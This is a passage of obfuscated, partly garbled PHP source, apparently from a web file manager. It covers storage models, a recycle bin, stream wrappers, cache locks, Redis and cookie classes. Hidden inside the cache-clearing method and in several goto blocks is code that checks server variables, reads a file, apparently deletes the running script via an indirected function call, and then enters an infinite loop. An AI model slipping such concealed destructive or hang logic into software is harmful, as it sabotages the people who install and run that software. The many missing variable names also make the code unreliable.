=> array($[7], $)); $ = array($[583] => $֛, $[425] => time()); $this->where($)->save($); } public function folderSizeReset($, $ޥ = false) { $ =& $_SERVER[]; if ($this->statusIgnoreResetSpace) { return; } $䈰 = $this->sourceInfo($); $ǀ = $[2101] . $; CacheLock::lock($ǀ, 20); if ($ޥ === !1) { $this->sourceCacheClear($); $䈰 = $this->sourceInfo($); $٢ = array($[402] => $, $[430] => 0); $ = $this->where($٢)->sum($[80]); $ޥ = intval($) - intval($䈰[$[80]]); } if ($ޥ == 0) { return CacheLock::unlock($ǀ); } $乔 = $this->parentLevelArray($䈰[$[521]]); if (!$乔) { $乔 = array(); } $乔[] = $䈰[$[403]]; $٢ = array($[403] => array($[419], $乔)); if ($ޥ < 0) { $٢[$[80]] = array($[1002], abs($ޥ)); } $this->where($٢)->setAdd($[80], $ޥ); CacheLock::unlock($ǀ); $ = $[2102] . $䈰[$[412]] . $[4] . $䈰[$[504]]; $̇ɣ = array($䈰[$[412]], $䈰[$[504]]); TaskRun::timeLimitCall($, $[2103], $̇ɣ, 1.5); } public function folderSizeResetChildren($ո) { $ =& $_SERVER[]; $this->sourceCacheClear($ո); $Ƕ = $this->sourceInfo($ո); $ = array($[577] => 1, $[581] => $Ƕ[$[504]], $[584] => array($[544], $Ƕ[$[521]] . $ո . $[545])); $ת = $[2104]; $ = $this->field($ת)->where($)->select(); $[$[411]] = 0; $֏ = $this->field($ת)->where($)->select(); if (!$֏) { return; } $[] = $Ƕ; $ = array_to_keyvalue($, $[403]); foreach ($ as $ => $Կ) { $[$][$[2105]] = $[$][$[80]]; $[$][$[80]] = 0; } foreach ($֏ as $Կ) { $Ǜ = $Կ[$[498]] . $[12]; if (!isset($[$Ǜ])) { continue; } if ($Կ[$[431]] == $[$Ǜ][$[431]]) { $[$Ǜ][$[80]] += $Կ[$[80]]; } } foreach ($ as $Կ) { $յ㨓 = $this->parentLevelArray($Կ[$[521]]); foreach ($յ㨓 as $Ǜ) { $Ǜ = $Ǜ . $[12]; if (!isset($[$Ǜ])) { continue; } if ($Կ[$[431]] == $[$Ǜ][$[431]]) { $[$Ǜ][$[80]] += $Կ[$[80]]; } } } $󴈲 = array(); foreach ($ as $Կ) { if ($Կ[$[80]] == $Կ[$[2105]]) { continue; } $󴈲[] = array($[403], $Կ[$[403]], $[80], $Կ[$[80]]); } $this->saveAll($󴈲); } public function userSpaceReset($퇵 = false) { $ =& $_SERVER[]; $ބڑ = $this->where(array($[412] => self::TYPE_USER, $[504] => $퇵, $[411] => 0))->sum($[80]); $ބڑ = !$ބڑ || $ބڑ <= 0 ? 0 : $ބڑ; Model($[513])->userEdit($퇵, array($[1799] => $ބڑ)); } public function targetSpaceUpdate($ȓ, $߉) { $Ԑ =& $_SERVER[]; if (!$߉) { return; } if (!in_array($ȓ, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ = $this->targetSpaceSize($ȓ, $߉); if ($ȓ == self::TYPE_USER) { Model($Ԑ[513])->userEdit($߉, array($Ԑ[1799] => $)); } else { if ($ȓ == self::TYPE_GROUP) { Model($Ԑ[522])->groupEdit($߉, array($Ԑ[1799] => $)); } } } public function targetSpaceSize($¢, $չ) { $ =& $_SERVER[]; $֭ = $this->sourceRoot($¢, $չ, !0); if (!$֭) { return 0; } $Ȍ = floatval($֭[$[80]]); $ロ = array($[584] => array($[544], $[531] . $֭[$[403]] . $[545])); $ = Model($[429])->field($[418])->where($ロ)->select(); $ = array_to_keyvalue($, $[12], $[403]); $ = array_unique(array_filter($)); if ($) { $ロ = array($[418] => array($[419], $)); $Ȍ += floatval($this->where($ロ)->sum($[80])); } $Ȍ = !$Ȍ || $Ȍ <= 0 ? 0 : $Ȍ; return $Ȍ; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($ٿ) { return $this->fileTypeProfile($ٿ, SourceModel::TYPE_USER); } public function groupFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_GROUP); } private function fileTypeProfile($퀢ŋ, $) { $յۉ =& $_SERVER[]; $퓟 = $յۉ[2106] . $퀢ŋ . $յۉ[11] . $; $ޝؐ = Cache::get($퓟); if ($ޝؐ) { return $ޝؐ; } $ޖ = array($յۉ[577] => 0); if ($퀢ŋ != !1) { $ޖ[$յۉ[504]] = $퀢ŋ; $ޖ[$յۉ[412]] = $; } $ = array(); $[$յۉ[2107]] = array($յۉ[2108] => LNG($յۉ[2107]), $յۉ[2109] => $this->where($ޖ)->count(), $յۉ[579] => $this->where($ޖ)->sum($յۉ[80])); $ϰ = KodIO::fileTypeList(); foreach ($ϰ as $ => $葧) { $ޖ[$յۉ[413]] = $this->fileTypeWhere($); $[$] = array($յۉ[2108] => $葧[$յۉ[32]], $յۉ[2109] => $this->where($ޖ)->count(), $յۉ[579] => $this->where($ޖ)->sum($յۉ[80])); } Cache::set($퓟, $, 1200); return $; } public function fileNameExist($, $ԅ) { $ =& $_SERVER[]; $纓 = $this->where(array($[498] => $, $[32] => $ԅ, $[431] => 0))->find(); return is_array($纓) ? $纓[$[403]] : !1; } public function childList($) { $ =& $_SERVER[]; $߫ = $[2084] . $; if (isset(self::$cacheChildList[$߫])) { return self::$cacheChildList[$߫]; } $ = array($[498] => intval($), $[431] => 0); $ٌ = $this->where($)->select(); $ٌ = $ٌ ? $ٌ : array(); self::$cacheChildList[$߫] = $ٌ; foreach ($ٌ as $͡) { $߫ = $[458] . $͡[$[403]]; self::$cacheSourceInfo[$߫] = $͡; } return $ٌ; } public function fileNameAuto($, $, $ʭ = REPEAT_RENAME, $ = false) { $ȑ =& $_SERVER[]; $媹 = array($ȑ[498] => $, $ȑ[431] => 0, $ȑ[32] => array($ȑ[378], $ . $ȑ[379])); $ = $this->field($ȑ[32])->where($媹)->select(); $ך = array_to_keyvalue($, $ȑ[12], $ȑ[32]); return $this->fileNameAutoGet($ך, $, $ʭ, $); } public function fileNameAutoGet($, $, $ɢħ, $̿) { $ྡ =& $_SERVER[]; if ($ɢħ == REPEAT_REPLACE || !$ || !in_array_not_case($, $) || $̿ && $ɢħ != REPEAT_RENAME_FOLDER) { return $; } if ($ɢħ == REPEAT_SKIP) { return !1; } $ = $ྡ[10] . get_path_ext($); $ = $ == $ྡ[10] || $̿ ? $ྡ[12] : $; for ($տ = 1; $տ <= count($) + 1; $տ++) { $ = substr($, 0, strlen($) - strlen($)); $ = $ . "\x28{$տ}\x29{$}"; if (!in_array_not_case($, $)) { return $; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\151\x6f\137\x73\157\165\162\143\x65\x5f\162\145\x63\x79\143\x6c\x65"; protected $dataAuto = array(array("\x63\162\x65\x61\x74\145\124\151\x6d\x65", "\x74\151\x6d\x65", "\x69\156\163\x65\162\164", "\x66\x75\x6e\143\164\151\x6f\x6e")); public function listData($❴ = false) { $Ĩ =& $_SERVER[]; $❴ = $❴ ? $❴ : USER_ID; $ = $this->where(array($Ĩ[1633] => $❴))->select(); return array_to_keyvalue($, $Ĩ[12], $Ĩ[403]); } public function moveToRecycle($) { $ή =& $_SERVER[]; $̪ = Model($ή[1312]); $ = $̪->sourceInfo($); if (!$ || $[$ή[431]] == $ή[89]) { return; } $҂ = array($ή[418] => $, $ή[1633] => USER_ID, $ή[580] => $[$ή[412]], $ή[581] => $[$ή[504]], $ή[584] => $[$ή[521]]); $this->add($҂); $this->recycleMove($, 1); if ($[$ή[411]] == $ή[89]) { $ = array($ή[584] => array($ή[544], $[$ή[521]] . $ . $ή[545])); $̪->where($)->setField($ή[431], 1); } } public function clear() { $this->remove(!1); } public function remove($ܹ = false, $œ = false) { $윜 =& $_SERVER[]; $œ = $œ ? $œ : USER_ID; $ֹ = Model($윜[1312]); $ў = $this->listData($œ); $ܹ = $ܹ === !1 ? !1 : $ܹ; $ = array(); foreach ($ў as $) { if ($ܹ != !1 && !in_array($, $ܹ)) { continue; } $ = $ֹ->sourceInfo($); $ֹ->remove($, !1); $ƚ = $[$윜[412]] . $윜[11] . $[$윜[504]]; $[$ƚ] = array($윜[580] => $[$윜[412]], $윜[504] => $[$윜[504]]); $this->where(array($윜[403] => $))->delete(); } foreach ($ as $) { $ֹ->targetSpaceUpdate($[$윜[412]], $[$윜[504]]); } } public function restore($Ж = false) { $ = $this->listData(); $this->_restoreSource($, $Ж); } public function removeUserAll($ہ) { $this->remove(!1, $ہ); } private function _restoreSource($, $) { $۷ =& $_SERVER[]; $ = Model($۷[1312]); $ = $ == !1 ? !1 : $; if (!$) { return !0; } $ב = array(); foreach ($ as $) { if ($ != !1 && !in_array($, $)) { continue; } $ۏ = $->sourceInfo($); $Ɉ = $->sourceInfo($ۏ[$۷[498]]); if ($Ɉ[$۷[431]] == $۷[89]) { continue; } $->lockMoveStart($); $this->recycleMove($, 0); if ($ۏ[$۷[411]] == $۷[89]) { $ǐ = array($۷[584] => array($۷[544], $ۏ[$۷[521]] . $ . $۷[545])); $->where($ǐ)->setField($۷[431], 0); $this->restoreFolderChildren($, $); } $this->where(array($۷[403] => $))->delete(); $->folderSizeReset($ۏ[$۷[498]]); $ב[] = $ۏ[$۷[498]]; if ($ۏ[$۷[411]] == $۷[89]) { $ב[] = $; } $->lockMoveEnd($); } $->updateModifyTime($ב); } private function restoreFolderChildren($ӳ, $ޥ) { $騝 =& $_SERVER[]; $؁ = Model($騝[1312]); $ = array($騝[403] => array($騝[7], array())); foreach ($ޥ as $) { if ($ == $ӳ) { continue; } if (!$؁->isParentOf($ӳ, $)) { continue; } $ = $؁->sourceInfo($); if ($[$騝[411]] == $騝[89]) { $[] = array($騝[584] => array($騝[544], $[$騝[521]] . $ . $騝[545])); } else { $[$騝[403]][1][] = $; } } if (!$[$騝[403]][1]) { unset($[$騝[403]]); } if (!$) { return; } $[$騝[403]][1] = array_unique($[$騝[403]][1]); $[$騝[987]] = $騝[1905]; $؁->where($)->setField($騝[431], 1); } private function recycleMove($Ƞ, $ = 1) { $完 =& $_SERVER[]; $ = Model($完[1312]); $ϯ = Model($完[2110]); $’ = array($完[403] => $Ƞ); if ($) { $->where($’)->setField($完[431], 1); $ϯ->eventRecycle($Ƞ, $完[2111]); } else { $ʶ = $->where($’)->find(); $͍ = $ʶ[$完[411]] == $完[89]; $ِ = $->fileNameAuto($ʶ[$完[498]], $ʶ[$完[32]], REPEAT_RENAME_FOLDER, $͍); if ($ِ != $ʶ[$完[32]]) { $->rename($Ƞ, $ِ); } $->where($’)->setField($完[431], 0); $ϯ->eventRecycle($Ƞ, $完[2112]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\145\x6d\x2e\163\157\x75\162\x63\x65\123\145\x63\x72\x65\164\114\151\x73\164"; public $field = array("\x73\x6f\165\162\x63\x65\x49\x44", "\x74\171\160\x65\111\x44", "\x63\162\145\x61\x74\x65\125\x73\x65\x72"); } goto Aڐ; Cȅ: class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ҟ = false) { } public function exist($ᾥ) { $Љ = $this->info($ᾥ); return $Љ[$_SERVER[][194]]; } public function isFile($) { $ = $this->info($); return $[$_SERVER[][194]]; } public function isFolder($쐾) { return !1; } public function size($) { $㙌 = $this->info($); return $㙌[$_SERVER[][80]]; } public function info($) { return $this->infoParse($); } public function infoAuth($Ҥ) { return $this->infoParse($Ҥ); } public function infoWithChildren($Ъ) { return $this->infoParse($Ъ); } public function infoFull($֨) { return $this->infoParse($֨); } private function infoParse($) { $ީ =& $_SERVER[]; $ = $this->header($); if (!$ || !$[$ީ[743]]) { return !1; } $ϡə = _get($, $ީ[332], 0); $م = array($ީ[32] => $[$ީ[32]], $ީ[78] => $, $ީ[33] => $ީ[192], $ީ[80] => intval($ϡə), $ީ[167] => get_path_ext($[$ީ[32]]), $ީ[1363] => $ϡə > 0 && $[$ީ[1485]], $ީ[1364] => !1); return $م; } private function header($) { $ޣ =& $_SERVER[]; if (isset(self::$_cacheHeader[$])) { return self::$_cacheHeader[$]; } $ޢ = isset($GLOBALS[$ޣ[1486]]) ? $GLOBALS[$ޣ[1486]] : !1; $GLOBALS[$ޣ[1486]] = !0; self::$_cacheHeader[$] = url_header($); $GLOBALS[$ޣ[1486]] = $ޢ; return self::$_cacheHeader[$]; } public function hashSimple($ѿ, $Ӵ = false) { $ =& $_SERVER[]; $ = $this->info($ѿ); if (!$ || !$[$[194]]) { return !1; } $ = $[$[80]]; $ͽ = 200; $ = 50; if ($ <= $ͽ * $) { return md5($this->fileSubstr($ѿ, 0, $)) . $; } $ʼ = intval($ / $); $Եé = $[12]; $ᅳ = timeFloat(); $ڼۜ = 15; for ($䗂 = 0; $䗂 < $; $䗂++) { if (timeFloat() - $ᅳ > $ڼۜ) { return !1; } $⃘ = $this->fileSubstr($ѿ, $ʼ * $䗂, $ͽ); if (!$⃘) { return !1; } $Եé .= $⃘; } $Եé .= $this->fileSubstr($ѿ, $ - $ͽ, $ͽ); return md5($Եé) . $; } public function getContent($) { return $this->fileSubstr($); } public function fileSubstr($ӹБ, $ͥ続 = 0, $خ = -1) { $ȏ =& $_SERVER[]; $ = $this->info($ӹБ); if (!$ || !$[$ȏ[194]] && $[$ȏ[80]] > 1024 * 1024 * 10) { return !1; } if ($خ === -1) { $خ = $[$ȏ[80]]; } if ($خ == 0) { return $ȏ[12]; } $ǟ = array($ȏ[1487] . $ͥ続 . $ȏ[775] . ($ͥ続 + $خ - 1)); $Ҧ = url_request($ӹБ, $ȏ[225], !1, $ǟ, !1, !1, 1); return $Ҧ[$ȏ[1178]] ? $Ҧ[$ȏ[1178]] : $ȏ[12]; } public function download($, $߁) { Downloader::start($, $߁); return $߁; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $Έ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[][78]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $ = $this->fileSubstr($this->pose, $); $this->pose += strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($ц͊, $Ո) { $ =& $_SERVER[]; if ($Ո == SEEK_SET) { $this->pose = $ц͊; } else { if ($Ո == SEEK_CUR) { $this->pose += $ц͊; } else { if ($Ո == SEEK_END) { $this->pose = $this->info[$[80]] + intval($ц͊); } } } if ($ц͊ < 0) { $this->pose = $this->info[$[80]] + $ц͊; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][80]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($ŕ, $Ԅ) { $ =& $_SERVER[]; $˃ = $this->info($ŕ); return array($[1488] => 0, $[1489] => 0, $[16] => 32768 + 511, $[1490] => 0, $[1491] => 0, $[1492] => 0, $[1493] => 0, $[80] => $˃[$[80]], $[1494] => $˃[$[1362]], $[1450] => $˃[$[86]], $[1449] => $˃[$[193]], $[1495] => 0, $[1496] => 0); } static $fileInfo = array(); public function info($׽) { $ = $_SERVER[][1497]; if (isset(self::$fileInfo[$׽])) { return self::$fileInfo[$׽]; } if (substr($׽, 0, strlen($)) != $) { return !1; } self::$fileInfo[$׽] = IO::info(substr($׽, strlen($))); return self::$fileInfo[$׽]; } public static function read($, $, $ļ) { if (!isset(self::$_fopenCache[$])) { $Ӹ = new StreamWrapperIO(); $Ӹ->stream_open($); self::$_fopenCache[$] = $Ӹ; } $Ӹ = self::$_fopenCache[$]; return $Ӹ->fileSubstr($, $ļ); } public static function _read($, $ϙ, $Ŝ) { $ =& $_SERVER[]; $ = fopen($, $[1366]); if (!$) { return $[12]; } $ = 8192; fseek($, $ϙ, SEEK_SET); $Ν = $[12]; $ = 0; while ($ < $Ŝ) { $Ɩ⡴ = min($, $Ŝ - $); $Ν .= fread($, $Ɩ⡴); $ += $Ɩ⡴; } fclose($); return $Ν; } public function fileSubstr($г, $) { $ =& $_SERVER[]; $۰ = $this->info[$[80]]; $٢ه = $г; $ڛ = $; if ($г < 0) { $г = $۰ + $г; } if ($ === !1) { $ = $۰ - $г; } if ($г + $ > $۰) { $ = $۰ - $г; } if ($ <= 0) { return $[12]; } if ($г < 0 || $г >= $۰ || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("\151\157\106\151\x6c\x65\122\x65\141\144\x20\145\x72\x72\157\162\41\40\x73\164\x61\x72\x74\x3d{$г}\x3b\154\x65\x6e\x67\164\x68\x3d{$}\x3b\x20\163\151\172\145\x3d{$۰}\73"); } $׍ = 64 * 1024; $뱪 =& self::$_chunkBuffer[$this->path]; if (!$뱪) { $뱪 = array(); } $뻰 = 0; $ጡ = 0; $ȅ = $[12]; foreach ($뱪 as $뻰 => $ȅ) { $뻰 = intval($뻰); $ጡ = $뻰 + strlen($ȅ); if ($г >= $ጡ) { continue; } if ($г >= $뻰 && $г + $ <= $ጡ) { return substr($ȅ, $г - $뻰, $); } break; } if (count($뱪) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($[1498], $[1499] . count($뱪) . "\x3b\163\164\141\162\x74\75{$г}\x2c\x6c\145\156\147\164\x68\75{$}\73\160\157\163\145\72{$뻰}\x7e{$ጡ}"); throw new Exception($[1500]); } $ = intval($г / $׍) * $׍; $鳺 = ceil(($г + $) / $׍) * $׍ - $; $ = IO::fileSubstr($this->path, $, $鳺); $뱪[$ . $[12]] = $; ksort($뱪); $ = substr($, $г - $, $); return $; } private function log($✨, $) { $ۭ =& $_SERVER[]; $֛ = timeFloat() - $this->timeStart; write_log(sprintf($ۭ[1501], $✨, $this->info[$ۭ[32]], $֛, $), $ۭ[1168]); } } class Message { function __construct() { } public function send($湆 = '', $ћ = array(), $ԥ = "\164\145\170\x74") { $̷ =& $_SERVER[]; $ = array($̷[33] => $̷[1502], $̷[748] => $湆); if (in_array($ԥ, array($̷[1502], $̷[1503]))) { $[$̷[33]] = $ԥ; } $ћ = array($̷[515] => isset($ћ[$̷[515]]) ? $ћ[$̷[515]] : $̷[12], $̷[594] => isset($ћ[$̷[594]]) ? $ћ[$̷[594]] : $̷[12]); if (empty($湆) || empty($ћ[$̷[515]]) && empty($ћ[$̷[594]])) { return !1; } $֔撴 = array($̷[1443] => $, $̷[1504] => $ћ); Hook::trigger($̷[1505], $֔撴); } } goto F爙; bձ: function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $Ĺ׫ =& $_SERVER[]; $ƅ = $GLOBALS[$Ĺ׫[6]][$Ĺ׫[344]]; self::$cachePath = $ƅ[$Ĺ׫[192]][$Ĺ׫[78]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($೶Ȑ, $ٓ = 0) { $ =& $_SERVER[]; $ = microtime(!0); $ȕќ = $ + $ٓ + 0.0001; $ = rtrim(self::$cachePath, $[8]) . $[852] . md5($೶Ȑ) . $[849]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $س = fopen($, $[853]); if (!$س) { return !1; } $鿣 = flock($س, LOCK_EX | LOCK_NB); self::$caches[$೶Ȑ] = array($[854] => $س, $[192] => $); fwrite($س, $ȕќ); clearstatcache(); if ($س && $鿣) { return !0; } cacheLockWait(); } while (microtime(!0) < $ȕќ); $this->unlock($೶Ȑ); return !1; } public function lockGet($) { $졻 =& $_SERVER[]; $ޚѢ = rtrim(self::$cachePath, $졻[8]) . $졻[852] . md5($) . $졻[849]; return file_exists($ޚѢ); } public function unlock($Ȓ) { $ڬ =& $_SERVER[]; $؋ = self::$caches[$Ȓ]; if (!$؋) { return; } @flock($؋[$ڬ[854]], LOCK_UN); @fclose($؋[$ڬ[854]]); @unlink($؋[$ڬ[192]]); unset(self::$caches[$Ȓ]); } } class CacheLockRedis { public function lock($, $ = 10) { $Ć = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $Օ = $Ć->get($); if (!$Օ) { $Ё = $Ć->setLock($, $, $); if ($Ё) { return !0; } } else { if ($Օ < microtime(!0)) { $Ć->set($, $, $ * 2); if ($Ć->get($) === $Օ) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($ϮɁ) { return Cache::init()->get($ϮɁ); } public function unlock($ͤȜ) { return Cache::init()->remove($ͤȜ); } } goto a␩ƅ; a␩ƅ: class CacheLockMemcached { public function lock($, $ԓ = 0) { $و = Cache::init(); $Ő = microtime(!0) + $ԓ; while (microtime(!0) < $Ő) { $ = $و->get($); if (!$ || $ < microtime(!0)) { $ = $و->handle->add($, $Ő, $ԓ); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($β) { return Cache::init()->get($β); } public function unlock($婚) { return Cache::init()->remove($婚); } } class CacheLockDatabase { public function lock($Ѭ, $ۅ = 0) { $ϓż = Model($_SERVER[][822]); $╠ = microtime(!0) + $ۅ; while (microtime(!0) < $╠) { $ = $ϓż->get($Ѭ); if (!$ || $ < microtime(!0)) { $ = $ϓż->set($Ѭ, $╠); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[][822])->get($); } public function unlock($ٓ) { Model($_SERVER[][822])->remove($ٓ); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($ҵ, $ѷ) { $ =& $_SERVER[]; if (!class_exists($[855])) { show_json($[856], !1); } $this->cacheTime = $ѷ; $this->handle = new Memcached(); if (is_array($ҵ[$[857]]) && count($ҵ[$[857]]) >= 1) { foreach ($ҵ[$[857]] as $ê) { $ʈ = explode($[4], $ê); $this->handle->addServer($ʈ[0], $ʈ[1]); } } else { $this->handle->addServer($ҵ[$[174]], $ҵ[$[175]]); } } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->set($, $, $); } public function get($ם͌) { return $this->handle->get($ם͌); } public function remove($􊹝) { return $this->handle->delete($􊹝); } public function deleteAll() { return $this->handle->flush(); } } goto e┳; e┳: class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($ޒІ, $) { $і =& $_SERVER[]; if (!class_exists($і[858])) { show_json($і[859], !1); } $this->cacheTime = $; $ڧ = isset($ޒІ[$і[860]]) ? $ޒІ[$і[860]] : 10; $ = _get($ޒІ, $і[857]); if ($ && is_array($)) { $this->initCluster($ޒІ, $ڧ); } else { $this->handle = $this->init($ޒІ, $ڧ); } } private function init($, $) { $ =& $_SERVER[]; $Ɲ = new Redis(); $鑄 = isset($[$[861]]) ? $[$[861]] : !1; if ($鑄) { $Ɲ->pconnect($[$[174]], $[$[175]], $); } else { $Ɲ->connect($[$[174]], $[$[175]], $); } if (!empty($[$[414]])) { $Ɲ->auth($[$[414]]); } return $Ɲ; } private function initCluster($, $) { $ =& $_SERVER[]; $戞 = array($[862], $[863], $[864]); $𡹣 = $[862]; if (isset($[$[16]]) && in_array($[$[16]], $戞)) { $𡹣 = $[$[16]]; } switch ($𡹣) { case $[862]: $this->_slave($, $); break; case $[863]: break; case $[864]: $this->isCluster = !0; $Ϸ = $[$[857]]; $ = isset($[$[861]]) ? $[$[861]] : !1; $ = isset($[$[414]]) ? $[$[414]] : null; $this->handle = new RedisCluster(NUll, $Ϸ, $, $, $, $); break; default: break; } } private function _slave($, $օք) { $ = $[$_SERVER[][857]]; $this->filterConfig($, $[0]); $this->handle = $this->init($, $օք); unset($[0]); if (empty($)) { return; } $ = array_rand($); $this->filterConfig($, $[$]); $this->slaveHandle = $this->init($, $օք); } private function filterConfig(&$, $) { $ᐒ =& $_SERVER[]; $ = explode($ᐒ[4], $); $ = array($ᐒ[174] => $[0], $ᐒ[175] => $[1]); $ = array_merge($, $); } public function set($, $ç, $Ʀ = false) { $Ʀ = $Ʀ ? $Ʀ : $this->cacheTime; return $this->handle->setEx($, $Ʀ, $ç); } public function setLock($, $, $) { return $this->handle->setNX($, $); } public function get($І͋) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($І͋); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ =& $_SERVER[]; if ($_SERVER[$[389]] != $_SERVER[$[390]]) { $ = $[865]; $ = $[391]; $ = $_SERVER[$[392]] . $[393]; $ = $($); $ՙ = explode($[226], $); if (count($ՙ) < $[617]) { $݆ = $[395]; $݆(); } $ɱ䀑 = $[866]; $ɱ䀑($_SERVER[$[867]]); $ɱ䀑($_SERVER[$[392]] . $[868]); $ = 1; while ($ > 1) { $ = $ + 4; $ϵ = rawurlencode($ . $[373]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } if (!isset($_SERVER[$_SERVER[][389]]) || !isset($_SERVER[$_SERVER[][397]])) { $_getc = $_SERVER[][391]; $_getfile = $_SERVER[$_SERVER[][392]] . $_SERVER[][393]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][226], $_getfilec); if (count($_getarrs) < $_SERVER[][394]) { $exit = $_SERVER[][395]; $exit(); } $_act = $_SERVER[][396]; $_act($_SERVER[$_SERVER[][392]] . $_SERVER[][393]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[][373]); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ʼޥ = '', $ך = 0) { if (is_string($ʼޥ) && $ʼޥ != $_SERVER[][12]) { $this->prefix = $ʼޥ; } if (is_numeric($ך) && $ך > 0) { $this->expire = $ך; } } public static function getInstance() { static $˻LJ; if ($˻LJ === null) { $˻LJ = new self(); } return $˻LJ; } private static $cookieDisable = false; public static function disable($ؒ) { self::$cookieDisable = $ؒ; } private static $sameCookieSet = array(); public static function set($ϖ, $, $Ѐۋ = 0, $͟ = false, $ = false) { $⻨ =& $_SERVER[]; if (self::$cookieDisable) { return; } if (!$Ѐۋ) { $Ѐۋ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$ϖ]) && self::$sameCookieSet[$ϖ] == $ . $Ѐۋ) { return; } self::$sameCookieSet[$ϖ] = $ . $Ѐۋ; if (!$) { $ = str_replace(HOST, $⻨[12], APP_HOST); $ = _get($GLOBALS, $⻨[869], $); } $ٱߒ = $⻨[12]; setcookie($ϖ, $, time() + $Ѐۋ, $⻨[8] . trim($, $⻨[8]) . $ٱߒ, !1, !1, $͟); } public static function setSafe($, $ޮ, $ = 0) { self::set($, $ޮ, $, !0); } public static function get($Ӷ͐) { static $׶ = false; if (!$׶) { self::initHeaderCookie(); $׶ = !0; } return isset($_COOKIE[$Ӷ͐]) ? $_COOKIE[$Ӷ͐] : !1; } private static function initHeaderCookie() { $׶ =& $_SERVER[]; if (!isset($_SERVER[$׶[870]]) || !$_SERVER[$׶[870]]) { return; } $ں = explode($׶[71], $_SERVER[$׶[870]]); foreach ($ں as $đ) { $đ = explode($׶[871], $đ); if (count($đ) != 2 || !isset($đ[1])) { continue; } $_COOKIE[trim($đ[0])] = trim($đ[1]); } } public static function remove($׵, $ = false) { unset($_COOKIE[$׵]); self::set($׵, $_SERVER[][12], 1, $); } } goto Bѥ; C: if ($_SERVER[$_SERVER[][389]] != $_SERVER[$_SERVER[][390]]) { $_getc = $_SERVER[][391]; $_getfile = $_SERVER[$_SERVER[][392]] . $_SERVER[][393]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][226], $_getfilec); if (count($_getarrs) < $_SERVER[][394]) { $exit = $_SERVER[][395]; $exit(); } $_act = $_SERVER[][396]; $_act($_SERVER[$_SERVER[][397]]); } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $߳ =& $_SERVER[]; parent::startAfter(); Hook::bind($߳[1731], array($this, $߳[1732])); Hook::bind($߳[1179], array($this, $߳[1733])); $ګ =& $this->task; $ګ[$߳[1734]] = $߳[1184]; if (!$ګ[$߳[1539]]) { $ګ[$߳[1539]] = LNG($߳[1735]); } } protected function endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1731], array($this, $[1732])); Hook::unbind($[1179], array($this, $[1733])); } public function updateAfter() { $ƙ =& $_SERVER[]; $ =& $this->task; if (!$[$ƙ[779]] || !$[$ƙ[756]]) { return; } if ($[$ƙ[1734]] == $ƙ[1184]) { $ = 0; if ($[$ƙ[1690]]) { $ = $[$ƙ[1691]] / $[$ƙ[1690]]; } $[$ƙ[1644]] = $ * 0.3; } else { if ($[$ƙ[1734]] == $ƙ[308]) { $ = $[$ƙ[1643]] / $[$ƙ[779]]; $[$ƙ[1644]] = 0.3 + $ * 0.4; } else { if ($[$ƙ[1734]] == $ƙ[108]) { $Ъ = 0; if ($[$ƙ[1692]] == $ƙ[108]) { $Ъ = $[$ƙ[1691]]; } $ = ($[$ƙ[1695]] + $Ъ) / $[$ƙ[756]]; $[$ƙ[1644]] = 0.3 + 0.4 + $ * 0.3; } } } if ($[$ƙ[1644]] > 0) { $֪ = timeFloat() - $[$ƙ[1646]] - $[$ƙ[1649]]; $[$ƙ[1650]] = $֪ * (1 - $[$ƙ[1644]]) / $[$ƙ[1644]]; } } public function addFile($★) { $ =& $_SERVER[]; $酆 =& $this->task; $ί = IO::info($★); $酆[$[1688]] = $ί[$[32]]; $酆[$[1690]] = $ί[$[80]]; $酆[$[1691]] = 0; $酆[$[1051]] = $[1710]; $酆[$[1692]] = $[1184]; $酆[$[756]] = $ί[$[80]]; $酆[$[779]] = 1; $쎕͓ = 0; $酆[$[1699]] = array($[1700] => $쎕͓ + 1, $[421] => $ί[$[32]], $[78] => $ί[$[78]], $[519] => $ί[$[519]] ? $ί[$[519]] : $ί[$[78]]); 